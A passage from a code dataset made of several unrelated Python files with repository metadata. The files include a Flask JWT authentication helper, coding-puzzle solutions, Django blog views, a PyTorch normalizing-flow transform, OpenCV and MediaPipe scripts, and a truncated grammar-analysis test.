:return:\n \"\"\"\n uid: str = config_instance.ADMIN_UID\n organization_id: str = config_instance.ORGANIZATION_ID\n admin_email: str = config_instance.ADMIN_EMAIL\n names: str = config_instance.ADMIN_NAMES\n surname: str = config_instance.ADMIN_SURNAME\n password: str = config_instance.ADMIN_PASSWORD\n cell: str = config_instance.ADMIN_CELL\n return admin_email, cell, names, organization_id, password, surname, uid\n\n @staticmethod\n def is_app_admin(current_user: any) -> Optional[bool]:\n \"\"\"\n **is_app_admin**\n checks if user is app admin - meaning admin for main organization for the API\n\n :param current_user:\n :return: boolean indicating if current user is admin or not\n \"\"\"\n if current_user is None:\n return None\n\n if isinstance(current_user, dict):\n is_organization_valid: bool = hmac.compare_digest(current_user.get('organization_id', 'invalid'),\n config_instance.ORGANIZATION_ID)\n return current_user and current_user.get('uid') and is_organization_valid\n\n # noinspection PyUnresolvedReferences\n is_organization_valid: bool = hmac.compare_digest(current_user.organization_id, config_instance.ORGANIZATION_ID)\n return current_user and current_user.uid and is_organization_valid\n\n @staticmethod\n def encode_auth_token(uid: str) -> str:\n \"\"\"\n **encode_auth_token**\n Generates the Auth Token for JWT Authentication\n\n **PARAMETERS**\n :param: uid -> string - unique user id\n :return: string -> auth-token\n \"\"\"\n try:\n payload = {\n 'exp': datetime.datetime.utcnow() + datetime.timedelta(days=0, minutes=30, seconds=5),\n 'iat': datetime.datetime.utcnow(),\n 'sub': uid\n }\n token = jwt.encode(payload=payload, key=str(current_app.config.get('SECRET_KEY')), algorithm='HS256')\n return token\n except jwt.InvalidAlgorithmError:\n raise UnAuthenticatedError(description=\"system error login in please inform admin\")\n\n @staticmethod\n def decode_auth_token(auth_token):\n \"\"\"\n **decode_auth_token**\n Decodes the auth token\n\n **PARAMETERS**\n :param auth_token:\n :return: string -> uid\n \"\"\"\n try:\n payload = jwt.decode(jwt=auth_token, key=current_app.config.get('SECRET_KEY'), algorithms=['HS256'])\n return payload['sub']\n except jwt.ExpiredSignatureError:\n raise UnAuthenticatedError(description=\"Expired token signature please login again\")\n except jwt.InvalidTokenError:\n raise UnAuthenticatedError(description=\"Invalid login credentials please login again\")\n\n @staticmethod\n @cache_man.app_cache.memoize(timeout=return_ttl('long'), unless=is_development(), cache_none=False)\n def send_get_user_request(uid: str, app_token: str, domain: str) -> Optional[dict]:\n \"\"\"\n **send_get_user_request**\n send request for user over api and return user dict\n\n **PARAMETERS**\n :param uid:\n :param app_token: application authentication tokens\n :param domain: authenticated domain\n :return: dict -> user record\n \"\"\"\n # admin api base url\n _base_url: str = config_instance.BASE_URL\n _user_endpoint: str = \"_api/v1/admin/auth/get-admin-user\"\n _organization_id: str = config_instance.ORGANIZATION_ID\n _data: dict = dict(organization_id=_organization_id, uid=uid, SECRET_KEY=config_instance.SECRET_KEY,\n app_token=app_token, domain=domain)\n response = requests.post(url=f\"{_base_url}{_user_endpoint}\", json=_data)\n response_data: dict = response.json()\n\n return response_data['payload'] if response_data['status'] else None\n\n def handle_admin_auth(self, func):\n \"\"\"\n **handle_admin_auth**\n handles authentication on html routes for users on client dashboard\n and admin dashboard\n :param func:\n \"\"\"\n\n # noinspection PyBroadException\n @wraps(func)\n def decorated(*args, **kwargs):\n token: Optional[str] = None\n app_token: str = app_auth_micro_service.auth_token\n domain: str = request.headers.get('Origin')\n\n # print('token headers: {}'.format(request.headers))\n if 'x-access-token' in request.headers:\n token = request.headers.get('x-access-token')\n\n # NOTE: if running on development server by-pass authentication and return admin user\n if not bool(token):\n raise UnAuthenticatedError(description=\"You are not logged in please login to proceed\")\n try:\n uid: Optional[str] = self.decode_auth_token(auth_token=token)\n if bool(uid):\n # NOTE: using client api to access user details\n current_user: Optional[dict] = self.send_get_user_request(uid=uid, app_token=app_token, domain=domain)\n if not isinstance(current_user, dict):\n raise UnAuthenticatedError(description=\"Unable to authenticate user\")\n else:\n raise UnAuthenticatedError(description=\"Unable to authenticate user\")\n\n except jwt.DecodeError:\n raise UnAuthenticatedError(description=\"Error with your login credentials please login again\")\n except Exception:\n raise UnAuthenticatedError(description=\"Error with your login credentials please login again\")\n return func(current_user, *args, **kwargs)\n\n return decorated\n\n def logged_admin_user(self, func):\n \"\"\"\n **logged_admin_user**\n only accesses the record of the logged in user without denying access to the route\n if user is not logged in.\n :param func: route to wrap\n :return: wrapped function\n \"\"\"\n\n @wraps(func)\n def decorated(*args, **kwargs):\n current_user: Optional[dict] = None\n if 'x-access-token' in request.headers:\n token: Optional[str] = request.headers['x-access-token']\n\n app_token: str = app_auth_micro_service.auth_token\n domain: str = request.headers.get('Origin')\n\n if bool(token):\n try:\n uid: Optional[str] = self.decode_auth_token(auth_token=token)\n if bool(uid):\n user_instance: Optional[dict] = self.send_get_user_request(uid=uid, app_token=app_token,\n domain=domain)\n if isinstance(user_instance, dict):\n current_user: dict = user_instance\n else:\n pass\n except jwt.DecodeError:\n # If user not logged in do nothing\n raise UnAuthenticatedError(description=\"Error with your login credentials please login again\")\n else:\n pass\n return func(current_user, *args, **kwargs)\n\n return decorated\n\n\nadmin_auth: AdminAuth = AdminAuth()\n\nif __name__ == '__main__':\n \"\"\"\n NOTE: fast testing of functions here \n \"\"\"\n pass\n","repo_name":"Memberships-Affiliate-Management-API/admin-portal-memberships-api","sub_path":"backend/src/security/users_authenticator.py","file_name":"users_authenticator.py","file_ext":"py","file_size_in_byte":9880,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12987587835","text":"import string\n\nalphabet = string.ascii_lowercase\nrows = []\npattern = []\n\n\ndef rangoli(size):\n rows = []\n alph = list(alphabet[:size])[::-1]\n empty = \"-\" * ((2 * size) - 2) + alph[0]\n for i in range(1, len(alph)):\n rows.append(empty)\n empty = empty[2:]\n empty = empty + f\"-{alph[i]}\"\n\n upper_half = [row[:-1] + alph[i] + row[-2::-1] for i, row in enumerate(rows)]\n for i in upper_half:\n print(i)\n print(empty + empty[-2::-1])\n for i in upper_half[::-1]:\n print(i)\n\n\nrangoli(12)\n","repo_name":"mustafagumustas/side_projects","sub_path":"hackerrank/alphabet_rangoli.py","file_name":"alphabet_rangoli.py","file_ext":"py","file_size_in_byte":536,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"26088799745","text":"class Solution:\n def reverseWords(self, s: str) -> str:\n s = list(s)\n s.append(' ')\n l = 0;\n for r in range(len(s)):\n if s[r] == ' ':\n s[l:r] = s[l:r][::-1]\n l = r + 1\n return \"\".join(s[:-1])","repo_name":"Rediet-Ferew/competitive-programming","sub_path":"0557-reverse-words-in-a-string-iii/0557-reverse-words-in-a-string-iii.py","file_name":"0557-reverse-words-in-a-string-iii.py","file_ext":"py","file_size_in_byte":270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"8087766290","text":"from django.http import HttpResponse\nfrom django.template import loader, RequestContext\nfrom django.core.paginator import Paginator\nfrom django.shortcuts import get_object_or_404\nfrom django.http import Http404\nfrom models import *\n\ndef blog_index(request, page=None):\n page = 1 if page==None else page\n articles = Entry.objects.all()\n p = Paginator(articles, 3)\n try:\n displaypage = p.page(page)\n except:\n raise Http404\n template = loader.get_template('blog/blog.html')\n context = RequestContext(request, {\"page\": displaypage, \"news\": True})\n return HttpResponse(template.render(context))\n\ndef article_detail(request, articleid):\n article = get_object_or_404(Entry, pk=articleid)\n template = loader.get_template('blog/detail.html')\n context = RequestContext(request, {\"article\": article, \"news\": True})\n return HttpResponse(template.render(context))\n\ndef blog_archive(request):\n articles = Entry.objects.all()\n template = loader.get_template('blog/archive.html')\n context = RequestContext(request, {\"articles\": articles})\n return HttpResponse(template.render(context))\n","repo_name":"kururugi/cbgweb","sub_path":"webapp/blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1132,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"34151281321","text":"'''\nImplementation of blocked affine transformation with BlockMADE.\n'''\n\nimport math\nimport numpy as np\nimport torch\nimport torch.nn as nn\n\nfrom transforms.base import Transform\nfrom utils import torchutils\nfrom torch import optim\n\nimport torch\nimport torch.functional as F\nimport nn.nets.blockmade as bmade\n\nfrom tqdm import tqdm\nimport matplotlib.pyplot as plt\n\n\nclass BlockAffineTransformation(Transform):\n def __init__(self, feature, block_feature, hidden_feature, sigma_max=1.0, sigma_min=0.1):\n super().__init__()\n self.feature = feature\n self.block_feature = block_feature\n self.sigma_max = sigma_max\n self.sigma_min = sigma_min\n # Calculate number of blocks.\n self.num_block = math.ceil(feature / block_feature)\n\n # BlockMADE for SVD parameterization of block matrices;\n # U matrices generation BMADE;\n self.U_out_feature = (self.num_block - 1) * block_feature ** 2 + \\\n (feature - (self.num_block - 1) * block_feature) ** 2\n self.UMADE = bmade.BlockMADE(\n in_feature=self.feature,\n hidden_feature=hidden_feature,\n out_feature=self.U_out_feature,\n num_block=self.num_block\n )\n # Sigma matrices generation BMADE;\n self.SMADE = bmade.BlockMADE(\n in_feature=self.feature,\n hidden_feature=hidden_feature,\n out_feature=self.feature,\n num_block=self.num_block\n )\n # V matrices generation BMADE;\n self.VMADE = bmade.BlockMADE(\n in_feature=self.feature,\n hidden_feature=hidden_feature,\n out_feature=self.U_out_feature,\n num_block=self.num_block\n )\n # Bias generation;\n self.BiasMADE = bmade.BlockMADE(\n in_feature=self.feature,\n hidden_feature=hidden_feature,\n out_feature=self.feature,\n num_block=self.num_block\n )\n self.BMADEs = nn.ModuleList([self.UMADE, self.SMADE, self.VMADE, self.BiasMADE])\n\n self.reg_error = torch.tensor(0.0)\n\n def forward(self, inputs, context=None):\n batch_size = inputs.shape[0]\n block_in_features_expect_last = (self.num_block - 1) * self.block_feature\n W_block_expect_last, W_last_block, logabdsdet = self._get_block_parameter(inputs)\n bias = self.BiasMADE(inputs)\n\n inputs_block_expect_last = inputs[:, 0:block_in_features_expect_last].reshape(\n self.num_block - 1, batch_size, self.block_feature\n )\n inputs_last_block = inputs[:, block_in_features_expect_last:]\n\n # Blocked transformation expect last block;\n outputs_block_expect_last = torch.einsum(\n 'nbij, nbj->nbi',\n W_block_expect_last, inputs_block_expect_last\n )\n # Blocked transformation for last block;\n outputs_last_block = torch.einsum(\n 'bij, bj->bi',\n W_last_block, inputs_last_block\n )\n\n outputs = torch.cat((outputs_block_expect_last.reshape(batch_size, -1), outputs_last_block), dim=1) + bias\n\n return outputs, logabdsdet\n\n def _get_block_parameter(self, inputs):\n batch_size = inputs.shape[0]\n # Get flattened outputs;\n u_flatten = self.UMADE(inputs)\n sigma = self.SMADE(inputs)\n v_flatten = self.VMADE(inputs)\n\n\n block_features_expect_last = (self.num_block - 1) * self.block_feature ** 2\n last_block_feature = self.feature - (self.num_block - 1) * self.block_feature\n\n # Parameters for all blocks expect the last block;\n U_block_expect_last = u_flatten[:, 0:block_features_expect_last].reshape(\n self.num_block - 1, batch_size, self.block_feature, self.block_feature)\n # Regularization of Sigma values;\n sigma_clapmed = self.sigma_max - (self.sigma_max - self.sigma_min) * torch.sigmoid(sigma)\n self.sigma = sigma_clapmed\n sigma_clapmed_blocked = sigma_clapmed[:, 0:(self.num_block - 1) * self.block_feature].reshape(\n self.num_block - 1, batch_size, -1\n )\n Sigma_block_expect_last = torch.diag_embed(sigma_clapmed_blocked)\n V_block_expect_last = v_flatten[:, 0:block_features_expect_last].reshape(\n self.num_block - 1, batch_size, self.block_feature, self.block_feature)\n\n # print('u shape', U_block_expect_last.shape)\n # print('s shape', Sigma_block_expect_last.shape)\n # print('v shape', V_block_expect_last.shape)\n\n W_block_expect_last = torch.einsum(\n 'nbij, nbjk, nbkl->nbil',\n U_block_expect_last, Sigma_block_expect_last, V_block_expect_last)\n\n # Parameters of the last block;\n U_last_block = u_flatten[:, block_features_expect_last:].reshape(\n batch_size, last_block_feature, last_block_feature)\n Sigma_last_block = torch.diag_embed(sigma_clapmed[:, (self.num_block - 1) * self.block_feature:])\n V_last_block = v_flatten[:, block_features_expect_last:].reshape(\n batch_size, last_block_feature, last_block_feature)\n W_last_block = torch.einsum(\n 'bij, bjk, bkl->bil',\n U_last_block, Sigma_last_block, V_last_block\n )\n\n # Determinant of the block transformation is the product of all singular values;\n logabsdet = torch.sum(torch.log(sigma_clapmed), dim=1)\n\n\n # Direct way of calculating determinant;\n # det_expect_last = torch.sum(torch.log(torch.abs(torch.det(W_block_expect_last))), dim=0)\n # det_last_block = torch.log(torch.abs(torch.det(W_last_block)))\n #\n # logabsdet = det_expect_last + det_last_block\n\n # Compute the orthogonal regularization error;\n self.reg_error = self._orthogonal_error(U_block_expect_last) + self._orthogonal_error(U_last_block) +\\\n self._orthogonal_error(V_block_expect_last) + self._orthogonal_error(V_last_block)\n\n self.W_1 = U_block_expect_last\n self.W_2 = U_last_block\n\n return W_block_expect_last, W_last_block, logabsdet\n\n def _orthogonal_error(self, W):\n if len(W.shape) == 4:\n num_block = W.shape[0]\n batch_size = W.shape[1]\n block_feature = W.shape[2]\n I = torch.eye(block_feature).repeat(num_block, batch_size, 1, 1)\n W_t = torch.transpose(W, dim0=2, dim1=3)\n err_1 = torch.norm(I - torch.einsum('nbij, nbjk->nbik', W, W_t))\n err_2 = torch.norm(I - torch.einsum('nbij, nbjk->nbik', W_t, W))\n elif len(W.shape) == 3:\n batch_size = W.shape[0]\n block_feature = W.shape[1]\n I = torch.eye(block_feature).repeat(batch_size, 1, 1)\n W_t = torch.transpose(W, dim0=1, dim1=2)\n err_1 = torch.norm(I - torch.einsum('bij, bjk->bik', W, W_t))\n err_2 = torch.norm(I - torch.einsum('bij, bjk->bik', W_t, W))\n else:\n raise ValueError('Invalid block weight matrices shape.')\n return torch.mean(err_1 + err_2)\n\n def forward_(self, inputs, context=None):\n batch_size = inputs.shape[0]\n block_in_features_expect_last = (self.num_block - 1) * self.block_feature\n W_block_expect_last, W_last_block, logabdsdet = self._get_block_parameter(inputs)\n bias = self.BiasMADE(inputs)\n\n inputs_block_expect_last = inputs[:, 0:block_in_features_expect_last].reshape(\n self.num_block - 1, batch_size, self.block_feature\n )\n inputs_last_block = inputs[:, block_in_features_expect_last:]\n\n # Blocked transformation expect last block;\n outputs_block_expect_last = torch.einsum(\n 'nbij, nbj->nbi',\n W_block_expect_last, inputs_block_expect_last\n )\n # Blocked transformation for last block;\n outputs_last_block = torch.einsum(\n 'bij, bj->bi',\n W_last_block, inputs_last_block\n )\n\n outputs = torch.cat((outputs_block_expect_last.reshape(batch_size, -1), outputs_last_block), dim=1) + bias\n\n return outputs\n\n\nif __name__ == '__main__':\n batch_size = 1\n in_feature = 6\n hidden_feature = 256\n block_feature = 2\n\n inputs = torch.randn(batch_size, in_feature)\n\n num_iter = 5000\n val_interval = 250\n lr = 0.001\n\n BlockNet = BlockAffineTransformation(\n feature=in_feature,\n block_feature=block_feature,\n hidden_feature=hidden_feature,\n sigma_max=10,\n sigma_min=1\n )\n\n # Setup optimizer;\n optimizer = optim.Adam(BlockNet.parameters(), lr=lr)\n\n tbar = tqdm(range(num_iter))\n train_loss = np.zeros(shape=(num_iter))\n logabsdet_error = np.zeros(shape=(num_iter//val_interval))\n cnt_val = 0\n\n for i in tbar:\n # Training iterations;\n BlockNet.train()\n optimizer.zero_grad()\n _, logabsdet = BlockNet(inputs)\n loss = BlockNet.reg_error\n train_loss[i] = loss.detach().numpy()\n loss.backward()\n optimizer.step()\n if (i + 0) % val_interval == 0:\n BlockNet.eval()\n print('Current loss:', train_loss[i])\n\n # Test the orthogonal property of one of the U matrix;\n W_2 = BlockNet.W_2\n print('Reconstructed one of U.T * U\\n', torch.bmm(W_2, torch.transpose(W_2, 1, 2)).detach())\n\n # Print out the real Jacobian matrix, should observe diagonal block pattern;\n j = torch.autograd.functional.jacobian(BlockNet.forward_, inputs)\n # j = torch.autograd.functional.jacobian(block_made.forward, inputs)\n real_j = torch.zeros(size=[batch_size, in_feature, in_feature])\n for i in range(batch_size):\n real_j[i, ...] = j[i, :, i, :]\n print(real_j.detach())\n b1 = real_j[:, 0:2, 0:2]\n b2 = real_j[:, 2:4, 2:4]\n b3 = real_j[:, 4:6, 4:6]\n\n logabsdet_1 = torch.log(torch.abs(torch.det(b1)))\n logabsdet_2 = torch.log(torch.abs(torch.det(b2)))\n logabsdet_3 = torch.log(torch.abs(torch.det(b3)))\n\n real_logabsdet = logabsdet_1 + logabsdet_2 + logabsdet_2\n print('Real logdet:', real_logabsdet.detach())\n print('Estimated logabsdet', logabsdet.mean().detach())\n logabsdet_error[cnt_val] = torch.abs(real_logabsdet - logabsdet.mean())\n cnt_val += 1\n\n # Plot training loss;\n plt.subplot(2, 1, 1)\n plt.title('orthogonal error (training loss).')\n plt.plot(train_loss)\n plt.subplot(2, 1, 2)\n plt.title('logabsdet error.')\n plt.plot(logabsdet_error)\n plt.show()","repo_name":"jxzhangjhu/BNF","sub_path":"transforms/blockaffine.py","file_name":"blockaffine.py","file_ext":"py","file_size_in_byte":10624,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"72149590275","text":"import cv2\nimport numpy as np\nimport h5py\n\nimport elas\n\ndatastore = h5py.File('../data/rectification_01.hdf5','r')\ndatastore_left = h5py.File('../data/viktor_unwrap.hdf5','r')\ndatastore_right = h5py.File('../data/aero_unwrap.hdf5','r')\n\n\nsize_left = datastore_left[\"map\"].shape[0:2]\nsize_right = datastore_right[\"map\"].shape[0:2]\n\nif size_left[0]*size_left[1] < size_right[0]*size_right[1]:\n\tsize = size_right\nelse:\n\tsize = size_left\n\n\nblank_image = np.zeros((size[0],size[1],3), np.uint8)\nblank_image[:,:] = (255,255,255)\nblank_image[::50,:] = (0,0,255)\nblank_image[:,::50] = (0,0,255)\nblank_image[-1,:] = (0,0,255)\nblank_image[:,-1] = (0,0,255)\n\n\"\"\"\n[u'E', u'F', u'P_left', u'P_right', u'Q', u'R', u'R_left', u'R_right', \nu'T', u'camera_left', u'camera_right', u'map_left', u'map_right', u'mask_left', u'mask_right']\n\"\"\"\n\ncamera_left = np.array(datastore[\"camera_left\"])\ndist_left = np.array([0.,0.,0.,0.])\nR_left = np.array(datastore[\"R_left\"])\nP_left = np.array(datastore[\"P_left\"])\n\nmap_left, _ = cv2.initUndistortRectifyMap(\n\t\tcamera_left, dist_left,\n\t\tR_left, P_left,\n\t\t(size[1],size[0]), cv2.CV_32FC2\n)\n\nrectified_left = cv2.remap( blank_image, map_left, None, cv2.INTER_LANCZOS4 )\n\n\n\n\ncamera_right = np.array(datastore[\"camera_right\"])\ndist_right = np.array([0.,0.,0.,0.])\nR_right = np.array(datastore[\"R_right\"])\nP_right = np.array(datastore[\"P_right\"])\n\nmap_right, _ = cv2.initUndistortRectifyMap(\n\t\tcamera_right, dist_right,\n\t\tR_right, P_right,\n\t\t(size[1],size[0]), cv2.CV_32FC2\n)\n\nrectified_right = cv2.remap( blank_image, map_right, None, cv2.INTER_LANCZOS4 )\n\n\n\n\n\ncv2.imshow(\"rectified_left\", rectified_left )\ncv2.imshow(\"rectified_right\", rectified_right )\nwhile True:\n\tif cv2.waitKey(10)!=-1:\n\t\tbreak","repo_name":"krisoft/lens_undistort","sub_path":"examples/display.py","file_name":"display.py","file_ext":"py","file_size_in_byte":1717,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"24428674380","text":"import cv2\nimport mediapipe as mp\nimport numpy as np\nfrom imread_from_url import imread_from_url\n\nclass SkeletonPose():\n\n\tdef __init__(self, show_webcam = True, detection_confidence=0.3):\n\n\t\tself.show_webcam = show_webcam\n\n\t\tself.initialize_model(detection_confidence)\n\n\t\t# Read skeleton images\n\t\tself.read_skeleton_images()\n\n\tdef __call__(self, image):\n\n\t\treturn self.detect_and_draw_skeleton(image)\n\n\tdef detect_and_draw_skeleton(self, image):\n\n\t\tself.estimate_pose(image)\n\n\t\tif not self.detected:\n\t\t\treturn False, None\n\n\t\treturn True, self.draw_skeleton(image)\n\n\n\tdef initialize_model(self, detection_confidence):\n\n\t\t# Inialize face mesh detection (0: default model, 1: landmark image optimized)\n\t\tself.pose_estimation = mp.solutions.pose.Pose(min_detection_confidence=detection_confidence,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tmin_tracking_confidence=0.5)\n\n\tdef estimate_pose(self, image):\n\n\t\tself.img_height, self.img_width, _ = image.shape\n\n\t\t# Extract background\n\t\tinput_image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\n\t\tinput_image.flags.writeable = False\n\t\tpose_landmarks = self.pose_estimation.process(input_image).pose_landmarks\n\n\t\tself.detected = pose_landmarks.landmark\n\t\tif not self.detected:\n\t\t\treturn\n\t\tself.skeleton_keypoints = np.array([[int(min([landmark.x*self.img_width,self.img_width-1])), int(min([landmark.y*self.img_height,self.img_height-1]))] \n\t\t\t\t\t\t\tfor landmark in pose_landmarks.landmark], dtype=np.float32)\n\t\t\n\n\tdef draw_skeleton(self, img):\n\n\t\tif self.show_webcam:\n\t\t\toutput_img = img.copy()\n\t\telse:\n\t\t\toutput_img = np.zeros((self.img_height, self.img_width, 3), dtype=np.uint8)\n\n\t\t# Draw all the skeleton parts\n\t\tself.draw_skull(output_img, self.skeleton_keypoints[skull_indices,:])\n\t\tself.draw_torso(output_img, self.skeleton_keypoints[torso_indices,:])\n\t\tself.draw_bone(output_img, self.skeleton_keypoints[left_upper_arm_indices,:])\n\t\tself.draw_bone(output_img, self.skeleton_keypoints[left_lower_arm_indices,:])\n\t\tself.draw_bone(output_img, self.skeleton_keypoints[right_upper_arm_indices,:])\n\t\tself.draw_bone(output_img, self.skeleton_keypoints[right_lower_arm_indices,:])\n\t\tself.draw_bone(output_img, self.skeleton_keypoints[left_upper_leg_indices,:])\n\t\tself.draw_bone(output_img, self.skeleton_keypoints[left_lower_leg_indices,:])\n\t\tself.draw_bone(output_img, self.skeleton_keypoints[right_upper_leg_indices,:])\n\t\tself.draw_bone(output_img, self.skeleton_keypoints[right_lower_leg_indices,:])\n\n\t\treturn output_img\n\n\t\n\tdef draw_skull(self, image, img_skull_keypoints):\n\n\t\tmouth = (img_skull_keypoints[2,:]+img_skull_keypoints[3,:])/2\n\t\timg_skull_keypoints = np.vstack((img_skull_keypoints[:2,:],mouth))\n\n\t\tM = cv2.getAffineTransform(skull_image_coordinates, img_skull_keypoints)\n\t\ttransformed_skull = cv2.warpAffine(self.skull_image, M, (self.img_width, self.img_height))\n\t\ttransformed_skull_mask = transformed_skull[:,:,2] != 0\n\t\timage[transformed_skull_mask] = transformed_skull[transformed_skull_mask]\n\n\tdef draw_torso(self, image, img_torso_keypoints):\n\n\t\tmiddle_hip = (img_torso_keypoints[2,:]+img_torso_keypoints[3,:])/2\n\t\timg_torso_keypoints = np.vstack((img_torso_keypoints[:2,:],middle_hip))\n\n\t\toriginal_torso_keypoints = np.array([[0,0],[self.torso_image.shape[1]-1,0],\n\t\t\t\t\t\t\t\t[self.torso_image.shape[1]//2,self.torso_image.shape[0]-1]], dtype=np.float32)\n\n\t\tM = cv2.getAffineTransform(original_torso_keypoints, img_torso_keypoints)\n\t\ttransformed_torso = cv2.warpAffine(self.torso_image, M, (self.img_width, self.img_height))\n\t\ttransformed_torso_mask = transformed_torso[:,:,2] != 0\n\t\timage[transformed_torso_mask] = transformed_torso[transformed_torso_mask]\n\n\tdef draw_bone(self, image, bone_keypoints):\n\n\t\toriginal_bone_keypoints = np.array([[self.bone_image.shape[1]//2,0],[self.bone_image.shape[1]//2,self.bone_image.shape[0]-1]], dtype=np.float32)\n\t\tM, ret = cv2.estimateAffinePartial2D(original_bone_keypoints, bone_keypoints)\n\n\t\ttransformed_bone = cv2.warpAffine(self.bone_image, M, (self.img_width, self.img_height))\n\t\ttransformed_bone_mask = transformed_bone[:,:,2] != 0\n\t\timage[transformed_bone_mask] = transformed_bone[transformed_bone_mask]\n\n\tdef read_skeleton_images(self):\n\n\t\tself.bone_image = cv2.imread(\"images/bone.png\")\n\t\tself.foot_image = cv2.imread(\"images/foot.png\")\n\t\tself.hand_image = cv2.imread(\"images/hand.png\")\n\t\tself.torso_image = cv2.imread(\"images/torso.png\")\n\t\tself.skull_image = cv2.imread(\"images/skull.png\")\n\n\n\n\nskull_indices = [6, 3, 10, 9]\ntorso_indices = [12, 11, 24, 23]\nleft_upper_arm_indices = [12, 14]\nleft_lower_arm_indices = [14, 16]\nleft_hand_indices = [16, 18, 20]\nright_upper_arm_indices = [11, 13]\nright_lower_arm_indices = [13, 15]\nright_hand_indices = [15, 19, 17]\nleft_upper_leg_indices = [24, 26]\nleft_lower_leg_indices = [26, 28]\nleft_foot_indices = [28, 32]\nright_upper_leg_indices = [23, 25]\nright_lower_leg_indices = [25, 27]\nright_foot_indices = [27, 31]\n\nskull_image_coordinates = np.array([[192,330],[446,349],[324,673]], dtype=np.float32)\n\ndef draw_mouseclick_circle(event,x,y,flags,param):\n\tif event == cv2.EVENT_LBUTTONDBLCLK:\n\t\tcv2.circle(skull_image,(x,y),30,(0,0,255),-1)\n\t\tprint(f\"[{x},{y}]\")\n\ndef select_skull_landmark_pixels():\n\t# Order: Left eye, right eye, mouth\n\tcv2.namedWindow(\"skeleton\", cv2.WINDOW_NORMAL)\n\tcv2.setMouseCallback(\"skeleton\",draw_mouseclick_circle)\n\twhile(1):\n\t\tcv2.imshow(\"skeleton\",skull_image)\n\n\t\tif cv2.waitKey(1) & 0xFF == ord('q'):\n\t\t\tbreak\n\nif __name__ == '__main__':\n\n\t# Read pumpkin image\n\tskull_image = cv2.imread(\"images/skull.png\")\n\tselect_skull_landmark_pixels()\n","repo_name":"ibaiGorordo/Mediapipe-Halloween-Examples","sub_path":"utils/skeleton_pose_utils.py","file_name":"skeleton_pose_utils.py","file_ext":"py","file_size_in_byte":5490,"program_lang":"python","lang":"en","doc_type":"code","stars":36,"dataset":"github-code","pt":"61"} +{"seq_id":"34764708857","text":"from Q1_1 import get_data\nimport pandas as pd\nimport numpy as np\nfrom sklearn.cluster import KMeans\nimport matplotlib.pyplot as plt\n\ntrain_x,train_y,test_x,test_y = get_data()\n\nx = range(1,10)\nrss = []\nfor i in x:\n km = KMeans(n_clusters=i).fit(train_x)\n rss.append(km.inertia_)\n print(km.cluster_centers_)\n print(i)\n\nplt.plot(x,rss,marker = '^',markerfacecolor = 'red')\nplt.title('Q1_2 : Elbow cluster ')\nplt.xlabel('Number of clusters')\nplt.ylabel('Error')\nplt.show()\n\n","repo_name":"hsahib2912/ML-Assignments","sub_path":"A4_88/Q1_2.py","file_name":"Q1_2.py","file_ext":"py","file_size_in_byte":483,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23591454981","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\nimport sys\n\n[L,D,N] = map(int, sys.stdin.readline().split())\nwords=[]\n\nfor i in range(D):\n\twords.append(sys.stdin.readline().strip())\n\nfor case in range(N):\n\tz = L*[[]]\n\tfor i in range(L):\n\t\tz[i] = 26*[False]\n\tinside=False\n\tidx=0\n\tfor c in sys.stdin.readline().strip():\n\t\tif c=='(':\n\t\t\tinside=True\n\t\telif c==')':\n\t\t\tinside=False\n\t\t\tidx+=1\n\t\telse:\n\t\t\tz[idx][ord(c) - ord('a')]=True\n\t\t\tif not inside:\n\t\t\t\tidx+=1\n\tassert(idx==L)\n\tprint(\"Case #\", case+1, \": \", len([None for w in words if all(z[i][ord(w[i])-ord('a')] for i in range(L))]), sep=\"\")\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_34/419.py","file_name":"419.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23552175601","text":"# Tidy Numbers\n\ndef is_tidy(n):\n tidy = True\n digits = str(n)\n for d in range(len(digits) - 1):\n if digits[d] > digits[d + 1]:\n tidy = False\n return tidy\n\ndef brute_force_check(n):\n while(not is_tidy(n)):\n n -= 1\n return n\n\ndef correct_last_wrong_ordering(N):\n digits = list(map(int, str(N)))\n\n # Find idx up to which ordering is correct\n cor_order_idx = 0\n\n while(digits[cor_order_idx] <= digits[cor_order_idx + 1]):\n cor_order_idx += 1\n if (cor_order_idx + 1) == len(digits):\n # Reached the end\n break\n\n # Fix the ordering and maximize number\n digits[cor_order_idx] -= 1\n for i in range(cor_order_idx + 1, len(digits)):\n digits[i] = 9\n\n return int(\"\".join(map(str, digits)))\n\ndef main():\n # Read in input\n num_test_case = int(input())\n\n for test_case in range(num_test_case):\n N = int(input())\n digits = list(map(int, str(N)))\n\n if len(digits) == 1:\n print_solution(test_case, str(N))\n continue\n\n sol = N\n while(not is_tidy(sol)):\n sol = correct_last_wrong_ordering(sol)\n\n # Remove leading zeroes\n sol = str(int(sol))\n #if int(sol) != brute_force_check(N):\n #print(N, sol, brute_force_check(N))\n print_solution(test_case, sol)\n\ndef print_solution(case_number, solution_string):\n print(\"Case #{}: {}\".format(case_number + 1, solution_string))\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_200/1291.py","file_name":"1291.py","file_ext":"py","file_size_in_byte":1512,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20436894543","text":"from ..service.analysis_service import find_words_out_of_context, get_global_metrics, get_precision_recall_f1\nfrom ..model.grammar_objects import Span, Text_Object\nfrom flask import current_app\n\ndef test_logic(text, true_flagged_spans, trigram_counter, spell_checker):\n print(\"start test from file\")\n doc = current_app.nlp(text)\n text_obj = Text_Object(doc)\n 